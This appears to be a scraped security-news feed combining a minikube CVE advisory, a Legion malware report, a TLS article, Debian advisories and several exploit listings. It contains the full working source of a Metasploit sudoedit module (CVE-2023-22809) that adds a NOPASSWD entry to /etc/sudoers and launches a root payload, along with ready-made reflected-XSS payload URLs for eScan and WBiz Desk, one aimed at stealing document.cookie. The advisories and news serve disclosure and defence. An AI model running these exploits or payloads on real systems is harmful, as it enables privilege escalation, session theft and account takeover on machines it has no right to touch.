This vulnerability exposes a network port in minikube running on macOS with Docker driver that could enable unexpected remote access to the minikube container.

**Vellore Rajakumar, Sri Saran Balaji**

unread,

Apr 12, 2023, 8:38:30 PMApr 12

to kubernete...@googlegroups.com, d...@kubernetes.io, kubernetes-sec...@googlegroups.com, kubernetes-se...@googlegroups.com, distributo...@kubernetes.io, kubernetes+a...@discoursemail.com

Hello Kubernetes Community,

We have released minikube v1.30.0 to address two security issues in minikube. We recommend all to upgrade minikube to the latest version and delete any Kubernetes clusters created with an affected version. Minikube is a utility tool that sets up a Kubernetes environment on a local machine for developing and testing Kubernetes applications. Minikube is not intended for production use.

**CVE-2023-1174: Network port exposure**

This vulnerability exposes a network port in minikube running on macOS with Docker driver that could enable unexpected remote access to the minikube container. This issue has been rated **CRITICAL** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) (score: 9.8).

**Am I vulnerable?**

This CVE only affects clusters running on macOS with Docker drivers. If you have created the Kubernetes cluster using one of the below mentioned minikube versions, then you are affected by this vulnerability. 

**Affected Versions**

• v1.28.0

• v1.27.1

• v1.27.0

• v1.26.1

• v1.26.0

You can also run the following command to know if you are affected. If the command returns 0.0.0.0 then you are affected by this vulnerability.

\`docker inspect --format='{{(index (index .NetworkSettings.Ports "8443/tcp") 0).HostIp}}' minikube\`

**CVE-2023-1944: SSH access using default password**

This vulnerability enables ssh access to minikube container using a default password. This issue has been rated **HIGH** (CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) (score: 8.4).

**Am I vulnerable?**

All versions prior to v.1.30.0 are affected.

To find the version deployed in your environment, run the following command - 

\`minikube version\`

**How do I remediate these vulnerabilities?**

To mitigate these vulnerabilities, you must upgrade minikube to the latest version and delete any clusters created using an affected version.

**Fixed Version**

• v1.30.0

**Note**: To delete clusters created using prior versions, run \`minikube delete --all\`

Thank You,

Balaji on behalf of the Kubernetes Security Response Committee

CVE-2023-1174: [Security Advisory] CVE-2023-1174, CVE-2023-1944: Network port exposure and ssh access using default password

This vulnerability enables ssh access to minikube container using a default password.

**minikube**

   

minikube implements a local Kubernetes cluster on macOS, Linux, and Windows. minikube's primary goals are to be the best tool for local Kubernetes application development and to support all Kubernetes features that fit.

**Features**

minikube runs the latest stable release of Kubernetes, with support for standard Kubernetes features like:

*   LoadBalancer - using minikube tunnel
*   Multi-cluster - using minikube start -p <name>
*   NodePorts - using minikube service
*   Persistent Volumes
*   Ingress
*   Dashboard - minikube dashboard
*   Container runtimes - minikube start --container-runtime
*   Configure apiserver and kubelet options via command-line flags
*   Supports common CI environments

As well as developer-friendly features:

*   Addons - a marketplace for developers to share configurations for running services on minikube
*   NVIDIA GPU support - for machine learning
*   Filesystem mounts

**For more information, see the official minikube website**

**Installation**

See the Getting Started Guide

📣 **Please fill out our fast 5-question survey** so that we can learn how & why you use minikube, and what improvements we should make. Thank you! 👯

**Documentation**

See https://minikube.sigs.k8s.io/docs/

**More Examples**

See minikube in action here

**Community**

minikube is a Kubernetes #sig-cluster-lifecycle project.

*   **#minikube on Kubernetes Slack** - Live chat with minikube developers!
    
*   minikube-users mailing list
    
*   minikube-dev mailing list
    
*   Contributing
    
*   Development Roadmap
    

Join our meetings:

*   Bi-weekly office hours, Mondays @ 11am PST
*   Triage Party

CVE-2023-1944: GitHub - kubernetes/minikube: Run Kubernetes locally

eScan Management Console version 14.0.1400.2281 suffers from a cross site scripting vulnerability.

    # Exploit Title: eScan Management Console 14.0.1400.2281 - Cross Site Scripting# Date: 2023-05-16# Exploit Author: Sahil Ojha# Vendor Homepage: https://www.escanav.com# Software Link: https://cl.escanav.com/ewconsole.dll# Version: 14.0.1400.2281# Tested on: Windows# CVE : CVE-2023-31703*Step of Reproduction/ Proof of Concept(POC)*1. Login into the eScan Management Console with a valid user credential.2. Navigate to URL:https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from=banner&P=3. Now, Inject the Cross Site Scripting Payload in "from" parameter asshown below and a valid XSS pop up appeared.https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from="><script>alert(document.cookie)</script>banner&P=4. By exploiting this vulnerability, any arbitrary attacker could havestolen an admin user session cookie to perform account takeover.

eScan Management Console 14.0.1400.2281 Cross Site Scripting

An updated version of the commodity malware called Legion comes with expanded features to compromise SSH servers and Amazon Web Services (AWS) credentials associated with DynamoDB and CloudWatch.
"This recent update demonstrates a widening of scope, with new capabilities such the ability to compromise SSH servers and retrieve additional AWS-specific credentials from Laravel web applications,"

Server Security / Malware

An updated version of the commodity malware called Legion comes with expanded features to compromise SSH servers and Amazon Web Services (AWS) credentials associated with DynamoDB and CloudWatch.

"This recent update demonstrates a widening of scope, with new capabilities such the ability to compromise SSH servers and retrieve additional AWS-specific credentials from Laravel web applications," Cado Labs researcher Matt Muir said in a report shared with The Hacker News.

"It's clear that the developer's targeting of cloud services is advancing with each iteration."

Legion, a Python-based hack tool, was first documented last month by the cloud security firm, detailing its ability to breach vulnerable SMTP servers in order to harvest credentials.

It's also known to exploit web servers running content management systems (CMS), leverage Telegram as a data exfiltration point, and send spam SMS messages to a list of dynamically-generated U.S. mobile numbers by making use of the stolen SMTP credentials.

A notable addition to Legion is its ability to exploit SSH servers using the Paramiko module. It also includes features to retrieve additional AWS-specific credentials related to DynamoDB, CloudWatch, and AWS Owl from Laravel web applications.

UPCOMING WEBINAR

Zero Trust + Deception: Learn How to Outsmart Attackers!

Discover how Deception can detect advanced threats, stop lateral movement, and enhance your Zero Trust strategy. Join our insightful webinar!

Save My Seat!

Another change relates to the inclusion of additional paths to enumerate for the existence of .env files such as /cron/.env, /lib/.env, /sitemaps/.env, /tools/.env, /uploads/.env, and /web/.env among others.

"Misconfigurations in web applications are still the primary method used by Legion to retrieve credentials," Muir said.

"Therefore, it's recommended that developers and administrators of web applications regularly review access to resources within the applications themselves, and seek alternatives to storing secrets in environment files."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Legion Malware Upgraded to Target SSH Servers and AWS Credentials

This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package. The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to append arbitrary entries to the list of files to process. This can lead to privilege escalation. by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root privileges. Affected versions are 1.8.0 through 1.9.12.p1. However, this module only works against Ubuntu 22.04 and 22.10. This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04 and 1.9.11p3-1ubuntu1 on Ubuntu 22.10.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Local  Rank = ExcellentRanking  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Sudoedit Extra Arguments Priv Esc',        'Description' => %q{          This exploit takes advantage of a vulnerability in sudoedit, part of the sudo package.          The sudoedit (aka sudo -e) feature mishandles extra arguments passed in the user-provided          environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to          append arbitrary entries to the list of files to process. This can lead to privilege escalation.          by appending extra entries on /etc/sudoers allowing for execution of an arbitrary payload with root          privileges.          Affected versions are 1.8.0 through 1.9.12.p1. However THIS module only works against Ubuntu          22.04 and 22.10.          This module was tested against sudo 1.9.9-1ubuntu2 on Ubuntu 22.04, and          1.9.11p3-1ubuntu1 on Ubuntu 22.10.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Matthieu Barjole', # original PoC, analysis          'Victor Cutillas' # original PoC, analysis        ],        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'References' => [          [ 'EDB', '51217' ],          [ 'URL', 'https://github.com/M4fiaB0y/CVE-2023-22809/blob/main/exploit.sh' ],          [ 'URL', 'https://raw.githubusercontent.com/n3m1dotsys/CVE-2023-22809-sudoedit-privesc/main/exploit.sh' ],          [ 'URL', 'https://www.vicarius.io/vsociety/blog/cve-2023-22809-sudoedit-bypass-analysis' ],          [ 'URL', 'https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466' ],          [ 'URL', 'https://www.synacktiv.com/sites/default/files/2023-01/sudo-CVE-2023-22809.pdf' ],          [ 'URL', 'https://www.sudo.ws/security/advisories/sudoedit_any/'],          [ 'CVE', '2023-22809' ]        ],        'DisclosureDate' => '2023-01-18',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK, CONFIG_CHANGES]        }      )    )    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),      OptString.new('EDITABLEFILE', [ false, 'A file which can be edited with sudo -e or sudoedit' ]),      OptString.new('SHELL', [ true, 'A shell we can launch our payload from. Bash or SH should be safe', '/bin/sh' ]),      OptInt.new('TIMEOUT', [true, 'The timeout waiting for sudo commands to respond', 10]),    ]  end  def timeout    datastore['TIMEOUT']  end  # Simplify pulling the writable directory variable  def base_dir    datastore['WritableDir'].to_s  end  def get_editable_file    if datastore['EDITABLEFILE'].present?      fail_with(Failure::BadConfig, 'EDITABLEFILE must be a file.') unless file?(datastore['EDITABLEFILE'])      vprint_status("Using user defined EDITABLEFILE: #{datastore['EDITABLEFILE']}")      return datastore['EDITABLEFILE']    end    # we do a rev here to reverse the order since we only want the last entry (the file name), take item 1, then rev it back so its normal. this seemed to    # be the easiest way to do a cut -f -1 (negative one). https://stackoverflow.com/questions/22727107/how-to-find-the-last-field-using-cut    editable_file = cmd_exec('sudo -l -S | grep -E "sudoedit|sudo -e" | grep -E \'\$root\$|\$ALL\$|\$ALL : ALL\$\' | rev | cut -d " " -f 1 | rev')    editable_file = editable_file.strip    if editable_file.nil? || editable_file.empty? || editable_file.include?('a terminal is required to read the password') || editable_file.include?('password for')      return nil    end    return nil unless file?(editable_file)    editable_file  end  def get_sudo_version_from_sudo    package = cmd_exec('sudo --version')    package = package.split(' ')[2] # Sudo version XXX    begin      Rex::Version.new(package)    rescue ArgumentError      # this happens on systems like debian 8.7.1 which doesn't have sudo      Rex::Version.new(0)    end  end  def check    sys_info = get_sysinfo    # Check the app is installed and the version    if sys_info[:distro] == 'ubuntu' || sys_info[:distro] == 'debian'      package = cmd_exec('dpkg -l sudo | grep \'^ii\'')      package = package.split(' ')[2] # ii, package name, version, arch      begin        ver_no = Rex::Version.new(package)      rescue ArgumentError        ver_no = get_sudo_version_from_sudo      end    else      ver_no = get_sudo_version_from_sudo    end    # according to CVE listing, but so much backporting...    minimal_version = '1.8.0'    maximum_version = '1.9.12p1'    exploitable = false    # backporting... so annoying.    # https://ubuntu.com/security/CVE-2023-22809    if sys_info[:distro] == 'ubuntu'      if sys_info[:version].include? '22.10' # kinetic        exploitable = true        maximum_version = '1.9.11p3-1ubuntu1.1'      elsif sys_info[:version].include? '22.04' # jammy        exploitable = true        maximum_version = '1.9.9-1ubuntu2.2'      elsif sys_info[:version].include? '20.04' # focal        maximum_version = '1.8.31-1ubuntu1.4'      elsif sys_info[:version].include? '18.04' # bionic        maximum_version = '1.8.21p2-3ubuntu1.5'      elsif sys_info[:version].include? '16.04'  # xenial        maximum_version = '1.8.16-0ubuntu1.10+esm1'      elsif sys_info[:version].include? '14.04'  # trusty        maximum_version = '1.8.9p5-1ubuntu1.5+esm7'      end    end    if ver_no == Rex::Version.new(0)      return Exploit::CheckCode::Unknown('Unable to detect sudo version')    end    if ver_no < Rex::Version.new(maximum_version) && ver_no >= Rex::Version.new(minimal_version)      vprint_good("sudo version #{ver_no} is vulnerable")      # check if theres an entry in /etc/sudoers that allows us to edit a file      editable_file = get_editable_file      if editable_file.nil?        if exploitable          return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. Please set EDITABLEFILE option manually")        else          return CheckCode::Appears("Sudo #{ver_no} is vulnerable, but unable to determine editable file. OS can NOT be exploited by this module")        end      elsif exploitable        return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}")      else        return CheckCode::Vulnerable("Sudo #{ver_no} is vulnerable, can edit: #{editable_file}. OS can NOT be exploited by this module")      end    end    CheckCode::Safe("sudo version #{ver_no} may NOT be vulnerable")  end  def exploit    # Check if we're already root    if !datastore['ForceExploit'] && is_root?      fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'    end    if get_editable_file.nil?      fail_with Failure::BadConfig, 'Unable to automatically detect sudo editable file, EDITABLEFILE option is required'    end    # Make sure we can write our exploit and payload to the local system    unless writable?(base_dir) && directory?(base_dir)      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    sys_info = get_sysinfo    # Check the app is installed and the version    fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:distro] == 'ubuntu'    fail_with(Failure::NoTarget, 'Only Ubuntu 22.04 and 22.10 are exploitable by this module') unless sys_info[:version].include?('22.04') || sys_info[:version].include?('22.10')    # Upload payload executable    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    upload_and_chmodx payload_path, generate_payload_exe    register_file_for_cleanup(payload_path)    @flag = Rex::Text.rand_text_alphanumeric(12)    print_status 'Adding user to sudoers'    # we tack on a flag so we can easily grep for this line and clean it up later    command = "EDITOR=\"sed -i -e '$ a `whoami` ALL=(ALL:ALL) NOPASSWD: #{datastore['SHELL']} \# #{@flag}' -- /etc/sudoers\" sudo -S -e #{get_editable_file}"    vprint_status("Executing command: #{command}")    output = cmd_exec command, nil, timeout    if output.include? '/etc/sudoers unchanged'      fail_with(Failure::NoTarget, 'Failed to edit sudoers, command was unsuccessful')    end    if output.include? 'sudo: ignoring editor'      fail_with(Failure::NotVulnerable, 'sudo is patched')    end    output.each_line { |line| vprint_status line.chomp }    print_status('Spawning payload')    # -S may not be needed here, but if exploitation didn't go well, we dont want to bork our shell    # also, attempting to thread off of sudo was problematic, solution was    # https://askubuntu.com/questions/1110865/how-can-i-run-detached-command-with-sudo-over-ssh    # other refs that didn't work: https://askubuntu.com/questions/634620/when-using-and-sudo-on-the-first-command-is-the-second-command-run-as-sudo-t    output = cmd_exec "sudo -S -b sh -c 'nohup #{payload_path} > /dev/null 2>&1 &'", nil, timeout    output.each_line { |line| vprint_status line.chomp }  end  def on_new_session(session)    if @flag      session.shell_command_token("sed -i '/\# #{@flag}/d' /etc/sudoers")      flag_found = session.shell_command_token("grep '#{@flag}' /etc/sudoers")      if flag_found.include? @flag        print_bad("Manual cleanup is required, please run: sed -i '/\# #{@flag}/d' /etc/sudoers")      end    end    super  endend

Sudoedit Extra Arguments Privilege Escalation

WBiz Desk version 1.2 suffers from a cross site scripting vulnerability.

    ┌┌───────────────────────────────────────────────────────────────────────────────────────┐││                                     C r a C k E r                                    ┌┘┌┘                 T H E   C R A C K   O F   E T E R N A L   M I G H T                  ││└───────────────────────────────────────────────────────────────────────────────────────┘┘ ┌────              From The Ashes and Dust Rises An Unimaginable crack....          ────┐┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                  [ Vulnerability ]                                   ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:  Author   : CraCkEr                                                                    :│  Website  : https://www.codester.com/items/5641/                                       ││  Vendor   : WeBiz Digital                                                              ││  Software : WBiz Desk 1.2                                                              ││  Vuln Type: Reflected XSS                                                              ││  Impact   : Manipulate the content of the site                                         ││                                                                                        ││────────────────────────────────────────────────────────────────────────────────────────││                                                                                       ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘:                                                                                        :│  Release Notes:                                                                        ││  ═════════════                                                                         ││  The attacker can send to victim a link containing a malicious URL in an email or      ││  instant message can perform a wide variety of actions, such as stealing the victim's  ││  session token or login credentials                                                    ││                                                                                        │┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                                                                      ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Greets:    The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL            CryptoJob (Twitter) twitter.com/0x0CryptoJob     ┌┌───────────────────────────────────────────────────────────────────────────────────────┐┌┘                                    © CraCkEr 2023                                    ┌┘└───────────────────────────────────────────────────────────────────────────────────────┘┘Path: /ticket.phpGET parameter 'tk' is vulnerable to RXSShttp://website/ticket.php?tk=d92h8"><script>alert(1)</script>ygwfb[-] Done

WBiz Desk 1.2 Cross Site Scripting

Shorter certificate lifespans are beneficial, but they require a rethink of how to properly manage them.

On March 3, Google (via The Chromium Projects, which it controls) proposed a plan to drastically shorten the lifespan of Transport Layer Security (TLS) digital certificates, from 398 days to 90 days. This will spur significant changes in how organizations manage their certificates, particularly regarding automated processes.

The proposal by the open source body behind the Google Chrome browser and Chrome OS, included in a road map called "Moving Forward, Together," is a positive step toward ensuring more reliable, robust Web operations. But it will require companies and other organizations to significantly transform their certificate processes.

The lifespan of digital certificates has fallen steadily over the past decade, from five years in 2012 to a little more than two years in 2018 to 13 months, or 398 days, in July 2020. The shorter lifespans help ensure the accuracy of digital identities, especially in a cloud-based computing environment where websites and services are constantly being spun up or down to accommodate changing demands and priorities.

Google said the proposed changes would allow for faster adoption of improvements, such as best practices and new security capabilities, and encourage organizations to move away from time-consuming and error-prone manual processes. The resulting move toward automation would also better prepare organizations for the advent of post-quantum cryptography.

**A Wake-up Call for Certificate Monitoring**

If adopted, the Chromium Projects' proposal to the CA/Browser Forum — a consortium of certification authorities (CA), browser makers, and others — would most likely take effect by the end of 2024. And although the changes are not set in stone, the prospects of a considerably shorter lifespan should serve as a wake-up call for organizations. They need to get greater control and visibility over their public keys and certificates, because the proposal is a sure sign that the game has changed.

The five-year life of certificates from a decade ago reflected a different time, when teams could get a certificate for, say, a Web server and then pretty much forget about it. They never developed a routine for checking to see if certificates were about to expire or for renewing them, which could lead to certificate-related outages. The eventual shortening of certificate life to 398 days helped put teams on a schedule they could get comfortable with, checking regularly for expirations.

As organizations expand in the cloud, visibility of TLS (also known as Secure Sockets Layer, or SSL) certificates is critical. And the layered, increasingly complex environments in the cloud are beyond the ability of teams to keep track of manually. Now, with the proposed new validity period, it's about automating the process.

Currently, organizations dedicate their resources to the people and processes necessary for installing certificates. In the near future, they'll need people and resources for automating the process, which will involve programming and maintaining new software. The focus will shift somewhat from knowledge of public key infrastructure (PKI) — which is at the core of TLS — to internal infrastructure knowledge.

**Centralized Monitoring Is Critical**

To manage the certificate workload, organizations will need to centralize certificate monitoring in order to easily identify certificates that are about to expire. Without a centralized view, it's still possible to spin up a server, get a certificate for it, and then forget about it, which can lead to disaster. A 2022 Ponemon Institute study found that half of respondents had suffered at least one certificate-related attack in the previous two years, and that 58% of them described the financial consequences as "severe."

Centralized monitoring also involves more than checking expiration dates on certificates. Organizations also will need to monitor how certificates are being used on their servers. It's not uncommon for certificates to be deployed to the wrong servers, leaving some servers without the certificates they need for their workloads. In a small company with a handful of employees, everyone may know what's running where. But in a 5,000-person enterprise, it can be impossible to keep track of it all without a centralized view.

The interconnected nature of business operations may also require that TLS visibility extend to supply chains, because a compromise of even a small system within a connected environment can have a huge impact on operations. Organizations may want to consider the advantage of outside monitoring services, rather than keeping everything in-house.

**Looking Ahead**

The full impact of the Chromium Projects' proposal has yet to be determined. There seems to be a couple of gray areas, such as whether it might apply to Internet of Things devices such as, for example, security cameras that also use certificates, or if it's limited to just Web servers.

But no matter what happens with the proposal, it reflects the reality of today's environment. Shorter certificate lifespans are beneficial, but organizations will certainly need to rethink how they can properly manage them.

Enterprises Must Prepare Now for Shorter TLS Certificate Lifespans

Debian Linux Security Advisory 5409-1 - Two security issues have been discovered in libssh, a tiny C SSH library.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5409-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
May 23, 2023                          https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : libssh  
CVE ID         : CVE-2023-1667 CVE-2023-2283  
Debian Bug     : 1035832

Two security issues have been discovered in libssh, a tiny C SSH library:

CVE-2023-1667

    Philip Turnbull discovered a NULL pointer dereference which could  
    result in denial of service.

CVE-2023-2283

    Kevin Backhouse discovered that pki_verify_data_signature() may  
    fail to correctly validate authentication in memory pressure  
    situations.

For the stable distribution (bullseye), these problems have been fixed in  
version 0.9.7-0+deb11u1.

We recommend that you upgrade your libssh packages.

For the detailed security status of libssh please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/libssh

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmRsiBoACgkQEMKTtsN8  
TjZY5w/+NUF6BrqMQqHEnFB+pTko58be+U3Au0EvRndBWoOdYIYAMC1upQWMAh0W  
aApXarK7PqaBmBRIWMHHFCY+VsRvriDWQcGReJyw91CuB6cgwLJ3pZ3BP2G4bOTR  
w+7YjOdXuim/nq9cTm45MtIIhUw0zwxJ1rejN5T3bb1ZeeoKTyxxHFy5M548YRg2  
xR4h3C7N6FjegGU3tY2EjWVYWLhvlNLFRlWzoW1XJRoJz91Sv/UDVkoluD71NGAV  
LmopIixYG7WN1DPj0NxDTFg6S2ecg2iSx7kIwf5TvIqdm73US0x6CAzR5ie06MXE  
53V/PpRKhOuK+8qv0XeI4uWVv7irZ2BcNk+e474IH4i2Gjsubzd8m4ddGY7lhj12  
X2FnBO3OQgqWF0Ckn87h6a2O89cC+gCI8n9u4ROcT5iWKpD/2JtauNHi3S0XWyqr  
Tfv7r74fHNqJBa2D3VE8ZlmM6UXfTjVrn631wyX7c/WdqxM65J5fhQocwEWaAnRh  
Of8RWu0E/E4D5PKHctKg45lxTAW6X9DIPeaahjM+VvBaH6K6ugJ1J/3XKakryvyk  
9VA0K6V2zu2EOaqJtj/IsxIZvHf8bCYoqpdPNHEab9xnzR9ChJjX+YLXZY2oF2sw  
t3lEhz4xFxS1sWCCQvriFeSmeiqadCmkFv7t4t58YdmNmfvezvg=P0gj  
-----END PGP SIGNATURE-----

Debian Security Advisory 5409-1

Debian Linux Security Advisory 5408-1 - Irvan Kurniawan discovered a double free in the libwebp image compression library which may result in denial of service.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5408-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
May 21, 2023                          https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : libwebp  
CVE ID         : CVE-2023-1999  
Debian Bug     : 1035371

Irvan Kurniawan discovered a double free in the libwebp image compression  
library which may result in denial of service.

For the stable distribution (bullseye), this problem has been fixed in  
version 0.6.1-2.1+deb11u1.

We recommend that you upgrade your libwebp packages.

For the detailed security status of libwebp please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/libwebp

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmRqXHAACgkQEMKTtsN8  
TjYWbA//X8f1KXJF3/lm3Nvrnfzn0+8fkaKFXug7itX0e9QI1UPfynJQpVHhvvYv  
0FCi6GUhzWh79agIb3vzppMR3HcgGZj4gLE6bQ5AWa0Jx9kpdeE+UuYA4y8egO4+  
wSaUg8aL71vjATO1yuANEgduLDazj05MgG1o+DwTB0kXdku/50OSOBD03GBfv0EQ  
z1CLFmSh1JlXFak9G9ggq/WUixue8SgoNGV7S3cTJ5DJb1lFg4GtlXUFOGbO62dE  
BZHMacNmiqnIVCM8DOLpWvN+miZgUeBWuV4mcfa6DOu4w6vDUz4wDINOSQb10crK  
3xbhQbCpKQKEa/uIDm89VxJfNSXCOn+TmXr1TY3r47a7TGS8a7b+9Ol4QkT/zk9s  
c/1M9/+/7dDPf/RZYoX0yNEakEDlU2kBiSj0IVSQzWWuRi/oJSdgHjvDOXRmLeT1  
BK/uvmhCoLK4iWILndfD+muMO3A326dk4luex7QMaW5LfN0ZOPOJAddLNTQiBEZ0  
ovBKnw3LLpnT15iJcW0Y+xz9YajEsVXPxKDVuUAdHgniHevOqRF3JQsfEIsCKUnR  
sSh7pVGh7PFbvmRyJsnEcZ2vPpCWqDOkofCT49xxpkiF/8tJS0EpmDialceBpJeY  
/UKMzuGWUEivzTk7QoEdjGCFewi7Qorcsv4uFvulZ5wdGFuaVtcoa8  
-----END PGP SIGNATURE-----

Debian Security Advisory 5408-1

Wekan v6.84 and earlier is vulnerable to Cross Site Scripting (XSS). An attacker with user privilege on kanban board can insert JavaScript code in in "Reaction to comment" feature.

Tag

#ssh